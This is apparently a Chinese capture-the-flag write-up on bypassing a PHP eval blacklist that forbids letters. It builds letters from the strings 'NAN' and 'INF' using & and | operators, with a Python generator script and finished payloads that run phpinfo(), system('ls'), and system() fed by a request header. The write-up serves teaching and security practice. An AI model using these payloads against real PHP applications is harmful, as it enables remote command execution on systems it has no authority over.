考点
- 利用
&
和|
构造字符Bypass - PHP对大小写不敏感
- PHP函数执行特性
题目代码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ','];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/im', $str)) {
die("what are you want to do?");
}
}
@eval('echo '.$str.';');
}
?>
代码执行,GET传参num
,其内容不能包含字母,%7F-%FF(封死了取反),以及如下内容
' " ` [ ] $ _ \\ ^ , s
解题思路
可以看到,封掉了^
,但是没有封掉& | ~ / * - + . {} % @ ! # () - =
和数字,也就是说要用这些符号去拼接出来字符
在PHP7中,在计算时如果分子分母同为0即0/0
,那么echo的结果是NAN
;如果仅分母为0即5/0
,那么结果是INF
。这样做的话,NAN
和INF
的数据类型均为float
,再用.
拼接一下就可以利用强制类型转换变成字符串,这样就可以用{}
读取字符了
目前可用的字母和数字
0-9
N : ((0/0).(0)){0}
A : ((0/0).(0)){1}
I : ((1/0).(0)){0}
F : ((1/0).(0)){2}
根据以下脚本,原始table用&
运算可得到N&I=H
,填充到table中,然后再用|
运算运行,这样循环下去
table = list('0123456789NAIFH')
char_sum = '0123456789NAIFH'
table_x = {
'N': '((0/0).(0)){0}',
'A': '((0/0).(0)){1}',
'I': '((1/0).(0)){0}',
'F': '((1/0).(0)){2}',
'0': '((0).(0)){0}',
'1': '((1).(0)){0}',
'2': '((2).(0)){0}',
'3': '((3).(0)){0}',
'4': '((4).(0)){0}',
'5': '((5).(0)){0}',
'6': '((6).(0)){0}',
'7': '((7).(0)){0}',
'8': '((8).(0)){0}',
'9': '((9).(0)){0}',
}
def calc_char(table, operator):
if operator == '&':
op = lambda x,y:x&y
elif operator == '|':
op = lambda x,y:x|y
new_char_list = []
for i in range(len(table)):
for j in range(len(table)):
try:
new_char = chr(op(ord(table[i]), ord(table[j])))
if new_char not in table:
if (new_char>='a' and new_char<='z') or (new_char>='A' and new_char<='Z'):
if new_char not in new_char_list:
new_char_list.append(new_char)
char_sum = char_sum + new_char
res = table[i] + operator + table[j] + '=' + new_char
table_x[new_char] = '('+table_x[table[i]]+')' +operator+ '('+table_x[table[j]]+')'
print(res)
except:
continue
calc_char(table, '&')
print(table_x)
print(char_sum)
不断套娃最后得到如下编码表
'N': '((0/0).(0)){0}',
'A': '((0/0).(0)){1}',
'I': '((1/0).(0)){0}',
'F': '((1/0).(0)){2}',
'H': '(((0/0).(0)){0})&(((1/0).(0)){0})',
'q': '(((0).(0)){0})|(((0/0).(0)){1})',
'y': '(((0).(0)){0})|(((1/0).(0)){0})',
'v': '(((0).(0)){0})|(((1/0).(0)){2})',
'x': '(((0).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0}))',
'w': '(((1).(0)){0})|(((1/0).(0)){2})',
's': '(((2).(0)){0})|(((0/0).(0)){1})',
'z': '(((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0}))',
'u': '(((4).(0)){0})|(((0/0).(0)){1})',
'O': '(((0/0).(0)){0})|(((0/0).(0)){1})',
'G': '(((0/0).(0)){1})|(((1/0).(0)){2})',
'B': '(((0/0).(0)){0})&((((2).(0)){0})|(((0/0).(0)){1}))',
'J': '(((0/0).(0)){0})&((((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))',
'D': '(((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1}))',
'p': '((((0).(0)){0})|(((0/0).(0)){1}))&((((0).(0)){0})|(((1/0).(0)){2}))',
'r': '((((0).(0)){0})|(((1/0).(0)){2}))&((((2).(0)){0})|(((0/0).(0)){1}))',
't': '((((0).(0)){0})|(((1/0).(0)){2}))&((((4).(0)){0})|(((0/0).(0)){1}))',
'C': '((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1}))',
'E': '((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1}))',
'K': '(((0/0).(0)){1})|((((0/0).(0)){0})&((((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0}))))',
'M': '(((1/0).(0)){0})|((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))',
'L': '((((0/0).(0)){0})&(((1/0).(0)){0}))|((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))'
然后用如下脚本生成拼接的结果
table = {
'N': '((0/0).(0)){0}',
'A': '((0/0).(0)){1}',
'I': '((1/0).(0)){0}',
'F': '((1/0).(0)){2}',
'H': '(((0/0).(0)){0})&(((1/0).(0)){0})',
'q': '(((0).(0)){0})|(((0/0).(0)){1})',
'y': '(((0).(0)){0})|(((1/0).(0)){0})',
'v': '(((0).(0)){0})|(((1/0).(0)){2})',
'x': '(((0).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0}))',
'w': '(((1).(0)){0})|(((1/0).(0)){2})',
's': '(((2).(0)){0})|(((0/0).(0)){1})',
'z': '(((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0}))',
'u': '(((4).(0)){0})|(((0/0).(0)){1})',
'O': '(((0/0).(0)){0})|(((0/0).(0)){1})',
'G': '(((0/0).(0)){1})|(((1/0).(0)){2})',
'B': '(((0/0).(0)){0})&((((2).(0)){0})|(((0/0).(0)){1}))',
'J': '(((0/0).(0)){0})&((((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))',
'D': '(((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1}))',
'p': '((((0).(0)){0})|(((0/0).(0)){1}))&((((0).(0)){0})|(((1/0).(0)){2}))',
'r': '((((0).(0)){0})|(((1/0).(0)){2}))&((((2).(0)){0})|(((0/0).(0)){1}))',
't': '((((0).(0)){0})|(((1/0).(0)){2}))&((((4).(0)){0})|(((0/0).(0)){1}))',
'C': '((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1}))',
'E': '((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1}))',
'K': '(((0/0).(0)){1})|((((0/0).(0)){0})&((((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0}))))',
'M': '(((1/0).(0)){0})|((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))',
'L': '((((0/0).(0)){0})&(((1/0).(0)){0}))|((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))'
}
# target = list('ls')
# target = list('phpinfo')
res = ''
for i in target:
if i in table.keys():
res = res + '(' + table[i] + ')' + '.'
elif i.upper() in table.keys():
res = res + '(' + table[i.upper()] + ')' + '.'
else:
print('NOOOOOOOOOOOOO!')
print(res)
再利用PHP函数执行的特性去代码执行
// (phpinfo)()
((((((0).(0)){0})|(((0/0).(0)){1}))&((((0).(0)){0})|(((1/0).(0)){2}))).((((0/0).(0)){0})&(((1/0).(0)){0})).(((((0).(0)){0})|(((0/0).(0)){1}))&((((0).(0)){0})|(((1/0).(0)){2}))).(((1/0).(0)){0}).(((0/0).(0)){0}).(((1/0).(0)){2}).((((0/0).(0)){0})|(((0/0).(0)){1})))()
// (system)(Ls)或者是(system)(dir)
// 这里不能用是因为windows对系统命令大小写不敏感,而Linux区分大小写
(((((2).(0)){0})|(((0/0).(0)){1})).((((0).(0)){0})|(((1/0).(0)){0})).((((2).(0)){0})|(((0/0).(0)){1})).(((((0).(0)){0})|(((1/0).(0)){2}))&((((4).(0)){0})|(((0/0).(0)){1}))).(((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1}))).((((1/0).(0)){0})|((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))))(((((((0/0).(0)){0})&(((1/0).(0)){0}))|((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))).((((2).(0)){0})|(((0/0).(0)){1}))))
// (system)(((getallheaders)(){1234}))
(((((2).(0)){0})|(((0/0).(0)){1})).((((0).(0)){0})|(((1/0).(0)){0})).((((2).(0)){0})|(((0/0).(0)){1})).(((((0).(0)){0})|(((1/0).(0)){2}))&((((4).(0)){0})|(((0/0).(0)){1}))).(((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1}))).((((1/0).(0)){0})|((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))))(((((((0/0).(0)){1})|(((1/0).(0)){2})).(((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1}))).(((((0).(0)){0})|(((1/0).(0)){2}))&((((4).(0)){0})|(((0/0).(0)){1}))).(((0/0).(0)){1}).(((((0/0).(0)){0})&(((1/0).(0)){0}))|((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))).(((((0/0).(0)){0})&(((1/0).(0)){0}))|((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))).((((0/0).(0)){0})&(((1/0).(0)){0})).(((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1}))).(((0/0).(0)){1}).((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1}))).(((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1}))).(((((0).(0)){0})|(((1/0).(0)){2}))&((((2).(0)){0})|(((0/0).(0)){1}))).((((2).(0)){0})|(((0/0).(0)){1})))(){1234}))
共有条评论 网友评论